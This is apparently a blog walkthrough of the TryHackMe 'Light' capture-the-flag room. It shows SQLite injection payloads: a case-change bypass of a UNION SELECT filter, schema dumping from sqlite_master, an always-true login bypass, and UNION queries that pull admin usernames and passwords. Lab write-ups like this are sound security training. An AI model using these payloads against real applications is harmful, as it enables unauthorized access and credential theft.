THM — Light

Hi everyone, today I will be attempting the Light CTF on the TryHackMe platform.

Attempting to find what is currently running on the web-server.

Investigated WASTE protocol, which allows sharing and private messaging application.

https://whatportis.com/ports/1337_waste-encrypted-file-sharing-program

Wanted to see if I could find ou

Messing around with this.

So far we have credentials for smokey — just unsure if we are going to use this currently. Began messing around and tested some SQL Injection vulnerabilities.

We can see that previously UNION SELECT was blocked, however, if we just change the case capitalisation we can bypass this filter.

Let’s find out what type of database this is-which we can use the following payload to confirm it is running SQLite (credit to PayloadAllThings)

'Union Select sqlite_version();

Now let’s find out the internal structure from the sqlite_master (which is similar to information_schema found in MySQL or PostgreSQL

'Union Select group_concat(sql) FROM sqlite_master'

From this, we can see there are two tables:

1. Usertable
2. AdminTable

Let’s attempt to extract some information from the admin Table.

In SQLite, the group_concat() function accepts a maximum of two arguments:

1. The expression or column to concatenate.
2. The separator string (optional, defaults to a comma ,).

From reading online writeups, another approach I could have used is detailed below:

smokey' or '1' == '1'

returned
Password: {Password}

This would of given us the password, but not the username. We could utilise this Github Repo called PayloadAllThings to extract the TableName:

Get k0rt’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/SQLite%20Injection.md

SELECT group_concat(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'

This would have returned the table name to be admintable, which we could then utilise the following payload to extract information, as we know the column name is username and password.

smokey' Union Select username from 'admintable

smokey' Union Select password from 'admintable WHERE username='TryHackMeAdmin

Now to find the flag, we can use the following command:

smokey ' Union Select password from admintable WHERE username != 'TryHacKmeAdmin